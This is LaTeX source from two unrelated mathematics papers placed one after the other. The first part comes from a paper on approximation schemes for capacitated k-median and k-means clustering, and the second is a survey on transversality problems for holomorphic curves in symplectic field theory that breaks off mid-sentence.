\le \varepsilon^3 (1+\varepsilon^2) n^0_{p_{i}} \le \varepsilon^2 n^0_{p_{i}}$ for any $\varepsilon \le 1/2$.
It follows that the clients of $n(p_i)$ that are reassigned to $p_{i+1}$ can be chosen
from the clients that are initially assigned to $p_i$ and so each client that
is initially (namely, after the previous perturbation) assigned
to portal $p_i$ is now assigned either to portal $p_i$ or to portal $p_{i+1}$.
It follows that the extra cost is at most the total budget of level $i$
for the clients going to the portals.
Therefore, except from $p^*$, the values that the $p_i$ can take are now very restricted, namely
powers of $(1+\varepsilon^5)$ that are in the interval $[\varepsilon^2 n_{p_{i-1}}; n_{p_{i-1}}/\varepsilon^2]$.
It follows that once the value of $p_0$ is fixed, the total number of choices for all the remaining
$p_i$ is at most $\varepsilon^{-20 \rho^{-1}}$. Thus, since there are $n$ choices for $p_0$ and by
the choice of $\rho$, the total number of
choices is at most $n^{1/\varepsilon^{O(d)}}$. From there, the theorem follows.
\section{Introduction}
The capacitated $k$-median and $k$-means problems are infamous problems:
no constant
factor approximation is known for any non-trivial metric, even when the
capacities are uniform.
Given a set of points $\mathcal{C}$ in a metric space together with an integer $\eta$, the capacitated clustering problem asks
for a set $C$ of $k$ points, called \emph{centers}, together an assignment $\mu : \mathcal{C} \mapsto
C$ that assigns at most $\eta$ clients to any cluster and
such that the sum of the $p$th power of the distance from each point to the center it is assigned
to is minimized (see a more formal
definition in Section~\ref{sec:ourresult}). When $p=1$, this is known as the \emph{capacitated $k$-median problem with uniform capacities},
while the case $p=2$ is the \emph{capacitated $k$-means problem with uniform capacities}.
The best known algorithm
is folklore and is an $O(\log k)$-approximation arising from Bartal's
embedding into trees
and a simple dynamic program for solving the problem exactly in
time $n^{O(t)}$ in graphs of treewidth
at most $t$ (in this case $t=1$).
From a theory perspective, finding a constant factor approximation
for the problem in general metric spaces or showing that none exists
unless P=NP is an important challenge that has received a lot of
attention (see for example the large amount of work on bicriteria
approximations or on the facility location version of the
problem~\cite{byrka2016approximation,DBLP:conf/soda/Li15,DBLP:conf/soda/Li16,DBLP:journals/talg/Li17,DBLP:conf/icalp/DemirciL16,byrka2014bi,Chuzhoy:2005:AKM:1070432.1070569,charikar2002constant},
and the recent work on approximation algorithm with running
$\exp(k) \text{poly}(n)$~\cite{2018arXiv180905791A}).
This hardness seems to extend to any non-trivial metric (bounded
treewidth graphs excepted) since no constant factor approximation when the
input consists for example
of point in $\R^2$ is known. This stands in sharp contrast
with the uncapacitated variant of the problem for which
approximation schemes are known.
Thus, since the breakthrough of
Arora et al.~\cite{ARR98} on
clustering problems in low-dimensional Euclidean space,
it has remained an important open problem to obtain at least a
constant factor approximation for capacitated
clustering problems even in $\R^2$.
Since their work, the community has developed two
main techniques for obtaining
approximation schemes for clustering problems in metrics
of fixed doubling dimension
or low-dimensional Euclidean space:
the approach of Kolliopoulos and Rao~\cite{KoR07}
and the local search algorithm (\cite{FRS16a,CAKM16,Cohen-Addad18}).
Unfortunately, the
approach of Kolliopoulos and Rao requires to be able to reassign
clients among the optimal set of centers and so, cannot be adapted
to the case where centers have capacities (as also pointed out in
the comments of a StackExchange discussion~\cite{stack})
Furthermore, it is
easy to come up with a set of point in $\R^2$ where
local approach may have an arbitrarily bad approximation ratio.
Thus, the best algorithm for the problem in $\R^2$ is
the 20-year old bicriteria QPTAS of
Arora et al.~\cite{ARR98} (see again the discussion at~\cite{stack}).
Namely,
an algorithm that computes in
time $n^{\text{poly}(\varepsilon^{-1}) \log^{O(1)} n}$ a
solution that opens at most $k$ centers, that assigns up to
$(1+\varepsilon)\eta$ clients to each center, and whose cost is at most
$(1+\varepsilon)$ times the cost of the optimal solution that opens at most $k$
and assigns at most $\eta$ clients per cluster.
Arguably, the complexity comes from the current lack of techniques
for handling both the cardinality
constraint on the maximum number of centers in the solution, $k$, and
the hard capacity constraint
on the number of points that can be assigned to a center. Indeed, if
one of these two conditions
can be violated by some constant factor, then constant factor
approximation algorithms are known~\cite{byrka2016approximation,DBLP:conf/soda/Li15,DBLP:conf/soda/Li16,DBLP:journals/talg/Li17,DBLP:conf/icalp/DemirciL16,byrka2014bi,Chuzhoy:2005:AKM:1070432.1070569,charikar2002constant}.
Unfortunately, there are applications for which violating any
of the two constraints is
prohibitive, one of them arising from redistricting.
\paragraph{On the redistricting problem.} The redistricting problem is the
problem of dividing a region into a number of electoral colleges under
some hard constraints, often coming from the constitution of
the country. The first of the hard constraints is the number of districts,
which is our number of \emph{clusters} $k$, and which is, in many
country like France or the US, fixed
by law for a given region. Thus, computing a redistricting into
$(1+\varepsilon)k$ districts is not an option. The second of the hard constraints
is the size of the districts. In the US for example, even though
the Supreme Court has declined to
name a specific percentage limit on how much populations of
districts can differ, we observe from~\cite[p.~499]{FryerHolden} that
``\textit{a 2002 Pennsylvania redistricting plan was
struck down because one district had... 19 more people than
another}''. It follows that since $\eta$ is a few thousands for these
instances, having a capacity violation of $(1+\varepsilon) \eta$ would not be
satisfactory, unless $\varepsilon$ could be made very tiny.
We point out that here it is critical that the capacities
of the clusters are the same and so $\eta = n/k$.
Finally, as shown experimentally by~\cite{FryerHolden},
the $k$-means
objective makes a suitable objective functions for evaluating the quality
of a solution (or what is referred to as its \emph{compactness},
see also \cite{Levitt}). In most of these works, assuming
that the input points are point in $\R^2$ is fairly standard
assumption (see~\cite{FryerHolden,DBLP:journals/corr/abs-1710-03358}
and references therein).
Therefore, designing good approximation algorithms for the
capacitated $k$-median and $k$-means problems in $\R^2$ and more
generally in metric spaces of fixed doubling dimension
has become an important challenge.
\subsection{Our Results}
\label{sec:ourresult}
We give the first PTAS for $k$-median with uniform capacities in $\R^2$ and
the first
QPTAS for $k$-median, $k$-means with uniform capacities
in metrics of doubling dimension. The problem at hand is the following
\begin{definition}
Let $\mathcal{X} = (X, \text{dist})$ be a metric space.
Given a set of \emph{clients} $\mathcal{C} \subseteq X$ in a metric space, a
set of \emph{candidate centers} $\mathcal{F} \subseteq X$, a capacity $\eta$,
and $p\ge 1$,
the \emph{capacitated $k$-clustering} problem asks for set
$C \subseteq \mathcal{F}$ of size at most $k$ and an assignement
$\mu : \mathcal{C} \mapsto C$ such that
\begin{itemize}
\item for any $f \in C$, $|\{c \mid c \in \mathcal{C} \text{ and } \mu(c) = f\}| \le \eta$, and
\item $\sum_{c \in \mathcal{C}} \text{dist}(c, \mu(c))^p$ is minimized.
\end{itemize}
\end{definition}
Given a solution $(C, \mu)$, we refer to the candidate centers
in $C$ as \emph{centers} or \emph{facilities}. We say that $f \in C$
\emph{serves} a client $c$ if $\mu(c) = f$.
Our result in $\R^2$ is as follows.
\begin{theorem}
\label{thm:ptas}
There exists an algorithm that given an instance of size $n$
of the capacitated $k$-median problem in $\R^2$ (capacitated
clustering problem with $p=1$)
outputs
a $(1+\varepsilon)$-approximate solution in time $n^{1/\varepsilon^{O(1)}}$.
\end{theorem}
For more general metric space, we show the following theorem.
\begin{theorem}
\label{thm:qptas}
There exists an algorithm that given an instance of size $n$
of the capacitated $k$-clustering problem
with parameter $p$
in a metric space of
doubling dimension $d$ outputs
a $(1+\varepsilon)$-approximate solution in
time $n^{((\frac{p}{\varepsilon})^{p}\log n)^{O(d)}}$.
\end{theorem}
\subsection{Techniques}
Our main technical contribution and the meat of the paper
is Proposition~\ref{prop:main} which, interestingly, holds in any metric space.
We first provide some intuition on how we use Proposition~\ref{prop:main}.
As discussed in for example~\cite{Cohen-Addad18}, the classic use of the
quad-tree dissection or the split-tree decomposition of Arora~\cite{ARR98} and
Talwar~\cite{Talwar04} does not work for the $k$-means objective (or the $k$-clustering
problem for $p>1$).
Their overall approach consists in recursively partitioning the input into regions
and forcing the optimal solution to connect points in different regions through a set
of \emph{portals} of size say $\rho^d$. This leads to a small-size interface between different regions
(that could be enumerated in polynomial or quasi-polynomial time).
Then, for a point in a given region $R$ that is assigned
to a center outside the region, the detour paid to connect the client to its center through
the set of portals
is $1/\rho$ times the diameter of $R$. The crux of the analysis is to show
that the probability that a client $u$ and a facility $v$ at distance $d$ are in different
clusters of diameter $D$ is roughly $d/D$. It follows that the expected
detour becomes $(D/\rho) \cdot d /D$ and so at most $1/\rho$ times the distance between $u$ and $v$.
This works fine when the distance is equal to the cost (namely when $p=1$).
However, for $p=2$ the expected
cost of the detour now becomes $(D/\rho)^2 \cdot d /D = D d/\rho^2$ and cannot be related to the original
cost of $d^2$ if $D= \omega(d)$ and $\rho$ is assumed to be $o(n)$.
This is one of the reason why no PTAS was known for the uncapacitated $k$-means problem
until the work of~\cite{CAKM16,FRS16a}. Unfortunately, the algorithm of~\cite{CAKM16,FRS16a}
is local search and it is
easy to come-up with an instance where local search can have arbitarily bad approximation
ratio.
Our technique is to proceed as follows. Observe that in the above discussion, for any
client $u$ and the facility $f$
that serves $u$ in the optimal solution, if the regions
that contain $u$ and do not contain $f$ have diameter
at most $(\log n) \text{dist}(u,f)/\varepsilon$, then one can use a portal set of size
$\rho = (\log n/\varepsilon)^{O(d)}$ and guarantee that the detour paid is in total
at most $\varepsilon \text{dist}(u,f)^2 $ which is $\varepsilon$ times the cost paid by
$u$ in the solution.
Thus, we only have to worry about instances where the decomposition does not
provide such a nice structure. This leads us to say that a client $p$ is
``badly cut'' (see formal definition in the next section)
if, at some point in the decomposition, there exists a region of diameter $D$
that contains $p$ but that does not contain some point that is at distance
$D/\text{poly} \log n$ from $p$. In other words: $p$ is very close (relatively to $D$)
to the boundary of the region of diameter $D$.
As we argued before, for any point $p$ that is not badly cut, we are in good shape,
we can afford to connect $p$ to the facility that serves it $\text{OPT}$ through the portal.
What do we do with badly cut points? This is where the structure theorem of our paper
will play a role.
The approach is as follows, we compute a
$\gamma$-approximate solution $L$ to the problem. For any point $p$ that is badly cut,
we move $p$ to the location of the center serving $p$ in solution $L$.
Furthermore, if a center $\ell \in L$ is also badly cut, then we force it
to be open in the solution we are looking for. At first, this may seem like
an extreme decision if we want to end up with a $(1+\varepsilon)$-approximation while
still opening at most $k$ centers and preserving the capacity constraints.
This is where Proposition~\ref{prop:main} saves us.
\paragraph{On Proposition~\ref{prop:main}}
As we have described the major ingredient is Proposition~\ref{prop:main}. Loosely
speaking, Proposition~\ref{prop:main} states that given a solution $(C, \mu)$ of
cost $X$ and a random process which picks each center of $C$ with probability $\varepsilon^2$,
then with probability at least $1-\varepsilon$,
there exists a solution which contains the selected centers and that:
(1) meets the capacity constraints (2) has at most $k$ centers, and (3) that is of cost
at most $\text{cost}(\text{OPT}) + O(\varepsilon X)$.
The result is obtained by designing a careful rerouting scheme of the clients,
involving min-cost max-flow techniques.
\bigskip
This provides us with a very good instance where (1) clients that are badly cut
are moved to the facility that serves them in $L$ and (2) badly cut facilities of
$L$ are now part of the solution we are trying to compute.
This is enough to conclude:
Consider a client $c$. If it
is not badly cut, then we don't have to worry about paying the detour through portals.
If it
is badly cut, then it is now located at the center that serves it in $L$.
Moreover, if this center is badly cut then it is open and so the service cost
for this client is 0. If this center is not badly cut, then one can afford
to make the detour to connect the client to its closest facility through the portals.
Making this reasoning rigorous is a bit challenging and shown in the next sessions.
\bigskip
A few more details still have to be addressed.
Another problem we have to solve for making the entire approach work is the following.
Note that the solution we obtain has cost
at most $(1+\varepsilon)\text{cost}(\text{OPT}) + \varepsilon(\text{cost}(L))$ with probability at least
$1-\varepsilon$. This probability can be boosted and we indeed boost it to
$1-\varepsilon/\log \log n$ by repeating
$\log n$ times.
This is critical since as discussed in the intro there is no
$O(1)$-approximation algorithm and so, the solution computed
has cost at most $(1+\varepsilon) \text{OPT} + \varepsilon \text{cost}(L)$ which is
$\varepsilon \log n \cdot \text{cost}(\text{OPT})$.
However, this is enough to allow us to bootstrap:
we use the solution obtained to get a solution of cost at most
$\varepsilon^2 \log n \cdot \text{cost}(\text{OPT})$.
By repeating this process $\log \log n$ times, we finally obtain
a near-optimal solution.
\subsection*{Organization of the Paper}
We provide definitions and preliminaries in the remainder of this section.
Our structural result, Proposition~\ref{prop:main} is presented in
Section~\ref{sec:struct}. To motivate the proposition, we first show how it is
used in Section~\ref{sec:badly} (Lemma~\ref{lem:valid}). From there a simple QPTAS follows,
see Section~\ref{sec:qptas} and a more involded PTAS is presented in Section~\ref{sec:ptas}.
\section{Dissection Procedure}
\input{intro_capac}
\input{capacitated}
\bibliographystyle{abbrv}
|
1,477,468,750,035 | arxiv | \section*{Summary}
Many problems in symplectic topology, like Gromov's pseudoholomorphic curves and Floer homology, are based on the study
of solution sets of nonlinear elliptic PDE. These moduli spaces exhibit lack of compactness, but on the other hand lead
to very elaborate compactifications, which are the source for interesting algebraic invariants. In many cases, including
symplectic field theory (SFT), the algebraic structures of interest are precisely those created by the violent analytic
behavior. \\
In order to provide the right framework in order to deal with all these problems, H. Hofer, K. Wysocki and E. Zehnder
have introduced a new class of spaces, called polyfolds, which serve as new ambient space containing the compactified
moduli space as the zero set of the nonlinear Cauchy-Riemann operator, for which they provide the usual Fredholm package
including an implicit function theorem and abstract perturbation scheme, see [HWZ] and [H] and the references therein. \\
As a result of the working group on polyfolds which the author organized together with Joel Fish and Roman Golovko
at the MSRI in Berkeley in fall 2009, the three organizers use their own lecture notes in order to produce a
user's guide to polyfolds, whose main goal is to equip symplectic geometers (and others) with a relatively short
guide to show them how to apply the polyfold theory to their own Fredholm problem. \\
This survey paper wants to give a short introduction to the transversality problem in SFT and hence serve as a lead-in
for the user's guide which will appear soon. \\
After a short introduction
to symplectic field theory in section 1, which will serve as our main example in this introduction, we will first recall
in section 2 the classical
approach to equip moduli spaces and their compactifications with nice manifold structures (with boundaries and corners)
using infinite-dimensional Banach space bundles over Banach manifolds. Since everything relies on an infinite-dimensional
version of the classical implicit function theorem, it turns out that the crucial step is to prove a transversality result
for the Cauchy-Riemann operator. While it is well-known that transversality holds for a generic choice of almost complex
structure as long as all holomorphic curves are simple, that is, not multiply-covered, we will discuss in section 3 how
severe the transversality problem with multiply-covered curves actually is, where it will turn out that the biggest
problems arise
from branched covers of orbit cylinders, also called orbit curves. Instead of discussing other approaches like Kuranishi
structures and virtual fundamental cycle techniqes which claim to prove the transversality problem for holomorphic curves
in full generality, we will shortly discuss in section 4 special approaches
to the transversality problem like automatic transversality, obstruction bundles and domain-dependent almost complex
structures, which are applicable in special cases and turn out to be useful when one is interested to perform actual
computations. After seeing the limitations in all existing approaches (except the ones not discussed), we hope that
the reader is finally motivated enough to approach the transversality problem using a completely new Fredholm theory
based on new geometric objects like sc-manifolds and polyfolds, where will outline the main ideas and new concepts in the
last section 5. \\
Since the goal of this survey is just to show how severe the transversality problem in SFT actually is and thereby motivate symplectic
geometers to get in touch with the results of the great polyfold project, the author wants to apologize right away for all the appearing
simplifications, inaccuracies and missing literature. On the other hand, comments, remarks and suggestions are very
welcome. \\
The author would like to thank H. Hofer, K. Wehrheim, his co-organizers J. Fish and R. Golovko and the audience of
their working group at the MSRI for their great help, stimulating discussions and useful comments. Since this survey
does not claim to provide any original new results, he further wants to thank K. Wysocki and E. Zehnder but also
C. Wendl, K. Cieliebak, K. Mohnke, E. Ionel, C. Taubes and others for their great work towards transversality for
holomorphic curves. Since this survey was written up when the author was a postdoc at the Max Planck Institute (MPI)
for Mathematics in the Sciences, he wants to thank both the MSRI and the MPI for the hospitality and their great working environment.
\section{A short introduction to symplectic field theory (SFT)}
Symplectic field theory (SFT), introduced by H. Hofer, A. Givental and Y. Eliashberg in 2000 ([EGH]), is a very large
project and can be viewed as a topological quantum field theory approach to Gromov-Witten theory. Besides providing a
unified view on established pseudoholomorphic curve theories like symplectic Floer homology, contact homology and
Gromov-Witten theory, it leads to numerous new applications and opens new routes yet to be explored. \\
In this survey we will restrict our attention to the transversality problem in SFT. Apart from the fact that
SFT aims at being a grand unified theory of $J$-holomorphic curves in symplectic and contact topology, the main
motivation comes from the observation that, in contrast to Gromov-Witten theory and symplectic Floer homology, there
do not exist reasonable assumptions on the target manifolds like monotonicity or, more generally, semipositivity, for
which transversality (for all relevant moduli spaces) can be proven for generic choices of almost complex structures.
Furthermore, while in Gromov-Witten
theory K. Cieliebak and K. Mohnke were able to prove in [CM] a transversality result for general symplectic manifolds
using domain-dependent almost complex structures and employing Donaldson's construction of symplectic hypersurfaces, a
corresponding result in SFT was so far only established in the so-called Floer case by the author in [F1] and
currently seems out of reach for the general case, as speculated by K. Cieliebak in his talk in the "broken dreams" seminar
at MSRI in fall 2009. \\
We start with briefly recalling the geometric setup of SFT for closed contact manifolds $(V,\xi=\{\lambda=0\})$.
For the moduli spaces and the functional analytic setup we will for simplicity only consider the case of genus zero. \\
Recall that a contact one-form $\lambda$ defines a vector field $R$ on $V$ by
$R\in\ker d\lambda$ and $\lambda(R)=1$, which
is called the Reeb vector field. We assume that
the contact form is Morse in the sense that all closed orbits of the
Reeb vector field are nondegenerate in the sense of [BEHWZ]; in particular, the set
of closed Reeb orbits is discrete. \\
The SFT invariants are defined by counting
$\underline{J}$-holomorphic curves in $\operatorname{\mathbb{R}}\times V$ which are asymptotically cylindrical over
chosen collections of Reeb orbits $\Gamma^{\pm}=\{\gamma^{\pm}_1,...,
\gamma^{\pm}_{n^{\pm}}\}$ as the $\operatorname{\mathbb{R}}$-factor tends to $\pm\infty$, see [BEHWZ].
The almost complex structure $\underline{J}$ on the cylindrical
manifold $\operatorname{\mathbb{R}}\times V$ is required to be cylindrical in the sense that it is
$\operatorname{\mathbb{R}}$-independent, links the two natural vector fields on $\operatorname{\mathbb{R}}\times V$, namely the
Reeb vector field $R$ and the $\operatorname{\mathbb{R}}$-direction $\partial_s$, by $\underline{J}\partial_s=R$, and turns
the distribution $\xi$ on $V$ into a complex subbundle of $TV$,
$\xi=TV\cap \underline{J} TV$. \\
Then the moduli space $\operatorname{\mathcal{M}}^0=\operatorname{\mathcal{M}}^0(\Gamma^+,\Gamma^-)$ of parametrized curves consists of tuples
$(u,j)$ where $j$ is a complex structure on the punctured Riemann sphere $\dot{S}$ with $s^+=\#\Gamma^+$ positive
and $s^-=\#\Gamma^-$ negative punctures and $u:(\dot{S},j)\to(\operatorname{\mathbb{R}}\times V,\underline{J})$ is a $\underline{J}$-holomorphic map in the sense
that it satisfies the Cauchy-Riemann equation $$\bar{\partial}_{\underline{J}}(u)=du+\underline{J}(u)\cdot du \cdot j =0$$ and is asymptotically
cylindrical over the Reeb orbits in $\Gamma^{\pm}$ near the positive/negative punctures, which is equivalent to finiteness
of the Hofer energy, $E(u)<\infty$ ([BEHWZ],[EGH]). \\
It will become crucial in our discussion that, before we can look for an appropriate compactification, we first need to
divide out the all the natural symmetries of the domain and the target. While the natural $\operatorname{\mathbb{R}}$-action on the target
$(\operatorname{\mathbb{R}}\times V,\underline{J})$ leads to a natural $\operatorname{\mathbb{R}}$-action on every moduli space $\operatorname{\mathcal{M}}^0$, in the case when the sphere carries less
three punctures we further need to divide out the automorphism group $\operatorname{Aut}(\dot{S},j)$ of the domain given by
$$\varphi.(u,j)=(u\circ\varphi,\varphi^*j),\;\varphi\in\operatorname{Aut}(\dot{S},j),$$ which is trivial when there
are at least three punctures. Note that in the latter case the holomorphic curve is called domain-stable. Dividing out these
obvious symmetries we obtain the desired moduli space of \emph{unparametrized} curves,
$$\operatorname{\mathcal{M}}=\operatorname{\mathcal{M}}(\Gamma^+,\Gamma^-)=\operatorname{\mathcal{M}}^0(\Gamma^+,\Gamma^-)/(\operatorname{Aut}(\dot{S},j)\times \operatorname{\mathbb{R}}).$$
In [BEHWZ] it is shown that the moduli space $\operatorname{\mathcal{M}}(\Gamma^+,\Gamma^-)$ can be compactified by adding nodal curves as in
Gromov-Witten theory as well as multi-level curves as in Floer theory. \footnote{One additionally needs to fix an absolute homology class $A\in H_2(V)$
which we omit here in order to keep notation simple.} In order to define invariants, it remains to prove
that the compactified moduli space $\overline{\operatorname{\mathcal{M}}}=\overline{\operatorname{\mathcal{M}}}(\Gamma^+,\Gamma^-)$ can be equipped with a nice structure, where it will
turn out that the best we can hope for is a branched-labelled manifold with boundaries and corners.
\section{Classical Banach space bundle setup}
In this section we shortly recall the main points of the classical approach which is used (in the hope) to prove nice
results about the compactified moduli space. Instead of looking at the moduli space $\operatorname{\mathcal{M}}$ of unparametrized curves or even the
compactified moduli space $\overline{\operatorname{\mathcal{M}}}$ directly, in the classical approach one first tries to prove a nice result about the
moduli space $\operatorname{\mathcal{M}}^0$ of parametrized curves. \\
Here the well-known idea is to use an infinite-dimensional version of the implicit function theorem to equip $\operatorname{\mathcal{M}}^0$ with
a nice manifold (or orbifold) structure. In order to be able to apply the implicit function theorem, we need to find an
infinite-dimensional (Banach) manifold $\operatorname{\mathcal{B}}^0$ of maps as well as a function, more generally, a section $s$ in an appropriate
infinite-dimensional (Banach space) bundle $\operatorname{\mathcal{E}}^0$ over this manifold, whose zero set is the moduli space of
parametrized curves, $\operatorname{\mathcal{M}}^0=s^{-1}(0)$. For manifolds of maps and their construction we refer to [Sch] and the foundational
paper [E] by Eliasson. \\
Following [BM] (see also [F1], [F2] and [W]) an appropriate Banach manifold $\operatorname{\mathcal{B}}^0$ is given
by the product $$\operatorname{\mathcal{B}}^0 = H^{1,p,\delta}(\Gamma^+,\Gamma^-) \times \operatorname{\mathcal{M}}_{0,s^++s^-},$$ where $\operatorname{\mathcal{M}}_{0,s^++s^-}$ is
the moduli space of complex structures on the $s^++s^-$ punctured sphere and $H^{1,p,\delta}(\Gamma^+,\Gamma^-) \subset
H^{1,p}_{\operatorname{loc}}(\dot{S},\operatorname{\mathbb{R}}\times V)$ is a space of $H^{1,p}$-maps which again satisfy appropriate asymptotic convergence to the
chosen Reeb orbits in $\Gamma^{\pm}$ near the positive/negative punctures. Note that $\operatorname{\mathcal{M}}_{0,s^++s^-}$ just consists
of a point when $s^++s^- = 3$, where we define that this continues to hold when $s^++s^-<3$, i.e., when the curve is
domain-unstable. Furthermore it can be shown that there exists a smooth infinite-dimensional Banach space bundle $\operatorname{\mathcal{E}}^0$
over $\operatorname{\mathcal{B}}^0$ where the fibre $$\operatorname{\mathcal{E}}^0_{u,j}=L^{p,\delta}(\Lambda^{0,1}\otimes_{j,\underline{J}}u^*T(\operatorname{\mathbb{R}}\times V)),\; (u,j)\in\operatorname{\mathcal{B}}^0$$
consists of $(0,1)$-forms (with respect to the complex structures $j$ on $T\dot{S}$ and $\underline{J}$ on $u^*T(\operatorname{\mathbb{R}}\times V)$) with
values in the pullback bundle $u^*T(\operatorname{\mathbb{R}}\times V)$. For more details we refer to the papers above. \\
It can further be shown that the Cauchy-Riemann operator $\bar{\partial}_{\underline{J}}$ defines a smooth section in the Banach space bundle
$\operatorname{\mathcal{E}}^0\to\operatorname{\mathcal{B}}^0$ by $\bar{\partial}_{\underline{J}}(u,j)=du+\underline{J}(u)\cdot du \cdot j\in\operatorname{\mathcal{E}}^0_{u,j}$ for $(u,j)\in\operatorname{\mathcal{B}}^0$. Furthermore it can be
shown that, if the asymptotic convergence conditions for $H^{1,p,\delta}(\Gamma^+,\Gamma^-)$ are chosen appropriately,
the moduli space $\operatorname{\mathcal{M}}^0=\operatorname{\mathcal{M}}^0(\Gamma^+,\Gamma^-)$ agrees with the zero set of the section $\bar{\partial}_{\underline{J}}$ in $\operatorname{\mathcal{E}}^0\to\operatorname{\mathcal{B}}^0$.
In order to show that the moduli space $\operatorname{\mathcal{M}}^0$ can be equipped with a nice manifold structure, in the very same way as
for the usual implicit function theorem it hence suffices to prove that zero is a regular value, that is, that the Cauchy-Riemann section meets
the zero section transversally. \\
After equipping the moduli space $\operatorname{\mathcal{M}}^0$ of parametrized curves with a nice manifold structure, we deduce from the
smoothness of the action of the automorphism group on $\operatorname{\mathcal{M}}^0$ that also the moduli space $\operatorname{\mathcal{M}}$ of unparametrized curves
carries a nice structure. Finally, it follows from the compactness theorem in the Gromov-Hofer topology proven in [BEHWZ],
together with a gluing theorem which again relies on the above transversality assumption, that the compactified moduli
space carries a manifold with boundary and corner structure, which in turn can be used to deduce the desired algebraic
statements. \\
\section{Problems with multiply-covered curves}
Up to small modifications it can be shown as for Gromov-Witten theory, see [D], that for a generic choice of cylindrical almost
complex structure the required transversality assumption is true at every \emph{simple} $\underline{J}$-holomorphic curve
$(u,j)\in\operatorname{\mathcal{M}}^0$. In other words, assuming that the moduli space $\operatorname{\mathcal{M}}^0$ consists only of curves $(u,j)$, for which there
does \emph{not} exist a covering map $\varphi: (\dot{S},j)\to(\dot{S}',j')$ of punctured Riemann surfaces such that
$u=v\circ\varphi$, then one can prove that the linearization of the Cauchy-Riemann operator $\bar{\partial}_{\underline{J}}$
is surjective at every $(u,j)\in\operatorname{\mathcal{M}}^0$ for a generic choice of $\underline{J}$. In particular, it follows that the moduli space
$\operatorname{\mathcal{M}}^0$ of parametrized \emph{simple} $\underline{J}$-holomorphic curves carries a nice manifold structure. \\
In order to prove this fundamental transversality result for simple curves one shows that the space of almost complex structures is indeed
large enough to ensure that the Cauchy-Riemann operator is transversal to the zero section when one additionally allows
the almost complex structure to vary. Forgetting the (simple) holomorphic curve in the resulting universal moduli space
but only remembering the almost complex structure, one can prove that for every almost complex structure which is regular
for this forgetful map the resulting linearized Cauchy-Riemann operator is surjective, so that the result follows from
Sard's lemma. \\
While it is not directly clear from this transversality proof for simple $\underline{J}$-holomorphic curves that
the transversality result is neccessarily false for multiply-covered curves, it is however not very hard to find examples of multiply-covered
curves where transversality can definitively not be satisfied. \\
Indeed, let $u=v\circ\varphi:(\dot{S},j)\to(\operatorname{\mathbb{R}}\times V,\underline{J})$ be a multiply-covered curve with underlying simple curve
$v:(\dot{S}',j')\to(\operatorname{\mathbb{R}}\times V,\underline{J})$ and branched covering map $\varphi:(\dot{S},j)\to(\dot{S}',j')$ and assume that for the
Fredholm indices for $u$ and $v$ we have $$\operatorname{ind}(u)<\operatorname{ind}(v)+2\cdot\#\operatorname{Crit}(\varphi),$$ where $\operatorname{Crit}(\varphi)$ is the set
of branch points of the branching map $\varphi$. Since the kernel of the linearized operator $D_u$ contains at least the
infinitesimal variations of $u$ as a multiply-covered curve, it follows that
$$\dim\ker D_u \geq \dim\ker D_v +2\cdot\#\operatorname{Crit}(\varphi) \geq \operatorname{ind}(v)+2\cdot\#\operatorname{Crit}(\varphi),$$
and hence $\dim\ker D_u > \operatorname{ind}(u)$, while we need to get equality when transversality would be satisfied. \\
On the other hand, it is not very hard to find examples of multiply-covered curves for which the above inequality for the
Fredholm indices of the multiple cover and the underlying simple curve is satisfied. Indeed, as shown in [F2], the above
problem already occurs for the basic examples of $\underline{J}$-holomorphic curves in $\operatorname{\mathbb{R}}\times V$, namely the branched covers
of orbit cylinders $\operatorname{\mathbb{R}}\times\gamma$ over closed Reeb orbits. \\
While the underlying simple curve, the orbit cylinder, always
has Fredholm index zero, it can be shown using standard estimates for the Conley-Zehnder index for multiply-covered orbits
that for every $\underline{J}$-holomorphic curve $u$ which is a branched cover of an orbit cylinder, we always have
$\operatorname{ind}(u)\leq 2\cdot\#\operatorname{Crit}(\varphi)$. While it can be shown that the right hand side agrees with $\dim\ker D_u$ and is
independent of the underlying closed Reeb orbit, the Fredholm index $\operatorname{ind}(u)$ crucially relies on the underlying orbit,
that is, the Conley-Zehnder index of $\gamma$ and its iterates. It can be seen that in general we have to expect to
get a strict inequality, which in turn shows that transversality fails in general even for the basic examples of
holomorphic curves studied in SFT. \\
As a concrete example, choose a hyperbolic orbit in a three-dimensional contact manifold
and consider a holomorphic curve with two positive and one negative puncture (pair-of-pants) branching over the
corresponding orbit cylinder such that it is asymptotically cylindrical over $\gamma$ near the two positive punctures and
over the double-covered orbit $\gamma^2$ near the negative puncture: while $\dim\ker D_u = 2\cdot\#\operatorname{Crit}(\varphi)=2$, an easy index
computation yields $\operatorname{ind}(u)=1$. \\
Note that these orbit curves actually cause trouble in two ways. First, it can be shown using an area estimate,
that when the chosen collections of closed Reeb orbits $\Gamma^{\pm}$ only involve iterates
$\gamma^k$ of the same closed Reeb orbit $\gamma$, the corresponding moduli spaces $\operatorname{\mathcal{M}}(\Gamma^+,\Gamma^-)$ entirely
consist of orbit curves over the corresponding orbit cylinder. To be more precise, it is shown in [F2] that there
exists a natural action filtration on SFT such that in the corresponding spectral sequence the first differential only
counts orbit curves. \\
While it was shown by the author in [F2] (and [F3] after introducing gravitational descendants) how one has to
deal with these moduli spaces of orbit curves, the orbit curves further cause trouble in another way. Indeed, while
it follows from the compactness theorem in [BEHWZ] that an appropriate subsequence of a sequence of $\underline{J}$-holomorphic curves
in $\operatorname{\mathcal{M}}(\Gamma^+,\Gamma^-)$ converges to a $\underline{J}$-holomorphic curve with multiple levels and nodes, there exists no
estimate to exclude that some levels consist of orbit curves. While it is natural to expect this to happen for a
general moduli space of $\underline{J}$-holomorphic curves, it is one of the key problems in the embedded contact homology (ECH) of
Taubes and Hutchings that orbit curves even appear in the compactification of the nice moduli spaces of embedded
holomorphic curves studied in this subtheory of SFT. \\
Indeed, the compactness statement proven by Hutchings and Taubes (based on [BEHWZ]) shows that a sequence of embedded
curves with index two converge to a holomorphic curve with many
levels, where only the first and the last level consist of embedded curves of index one, while all the other levels in
between consist of orbit curves of index zero. It follows that, in order to prove that $\partial\circ\partial=0$ in ECH, the
authors had to prove in [HT1] and [HT2] a generalized gluing formula for holomorphic curves in SFT, where curves are glued after possibly
inserting additional levels of orbit curves of index zero. \\
While at first glance this seems to contradict the compactness statement used to prove the algebraic statements in
SFT, the difference just reflects the fact that transversality can not be established for all moduli spaces using
generic choices of almost complex structures, which is however crucial for positivity of intersections
needed in the definition of ECH.
\section{Special approaches to the transversality problem}
After illustrating how severe the transversality problem in SFT actually is, we want to recall in this section three
ways to achieve transversality in special cases. Note that none of these approaches solves the transversality
problem in SFT in full generality. On the other hand, we decided not to discuss other approaches like
virtual fundamental cycle constructions and Kuranishi structures in this note which claim to prove the
